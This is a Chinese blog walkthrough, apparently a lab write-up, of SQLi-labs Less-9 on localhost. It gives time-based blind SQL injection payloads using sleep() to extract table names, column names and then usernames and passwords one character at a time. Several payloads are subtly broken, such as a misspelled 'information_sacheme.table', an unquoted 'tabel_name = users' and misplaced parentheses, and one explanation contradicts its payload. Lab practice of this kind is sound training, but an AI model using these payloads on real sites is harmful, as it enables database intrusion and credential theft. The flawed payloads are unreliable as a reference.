  1. 输入:http://localhost/sqli/Less-9/?id=1' and if(length((select group_concat(table_name) from information_sacheme.table where table_schema = database())) = 10,sleep(3),1) --+
    在这里插入图片描述
  2. 没有出现延迟,说明表名长度不是10,
  3. 增加长度,直到出现延迟,从而确定表名长度
  4. 输入:http://localhost/sqli/Less-9/?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)) = 32,sleep(3),1)--+

在这里插入图片描述

  1. 没有出现延迟,说明表名的第一个字符,不等于ascll为32的字符
  2. 依次增加ascll的值,直到回显延迟,从而确定数据库名的第一个字符
  3. 重复上述操作,判断第2个字符、第3个字符…,最后得到数据库名

获得列名

  1. 输入:http://localhost/sqli/Less-9/?id=1' and if(length((select group_concat(column_name) from information_schema.columns where table_name = 'users')) = 20,sleep(3),1)--+。取数据库security中users表的所有列,**计算这些列的长度之和,最后判断长度是否等于20。
    在这里插入图片描述
  2. 没有出现延迟,说明列名长度不是20,
  3. 增加长度,直到出现延迟,从而确定列名长度
  4. 输入:http://localhost/sqli/Less-9/?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where tabel_name = users),1,1)) = 32,sleep(3),1)--+
    在这里插入图片描述
  5. 没有出现延迟,说明列表名的第一个字符,不等于ascll为32的字符
  6. 依次增加ascll的值,直到回显延迟,从而确定列名的第一个字符
  7. 重复上述操作,判断第2个字符、第3个字符…,最后得到列名

获得账户和密码

  1. 输入:http://localhost/sqli/Less-9/?id=1' and if(length((select group_concat(username,password) from users)) = 1,sleep(3),1) --+,取数据库security中users表的username列和password列,计算这两列的内容长度之和,最后判断长度是否等于10
    在这里插入图片描述
  2. 没有出现延迟,说明username列和password列名长度不是1。
  3. 增加长度,直到出现延迟,从而确定列名长度
  4. 输入:http://localhost/sqli/Less-9/?id=1 and if(ascii(substr((select group_concat(username,password) from users)),1,1) = 32,sleep(3),1) 判断username和password的第一个字符,是不是等于ascll为32的字符
    在这里插入图片描述
  5. 没有出现延迟,不是等于ascll为32的字符
  6. 依次增加acsll的大小,进行判断,直到出现延迟,确定sername和password的第一个字符。
  7. 重复上述操作,判断第2个字符、第3个字符…,最后得到所有用户名和密码。
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值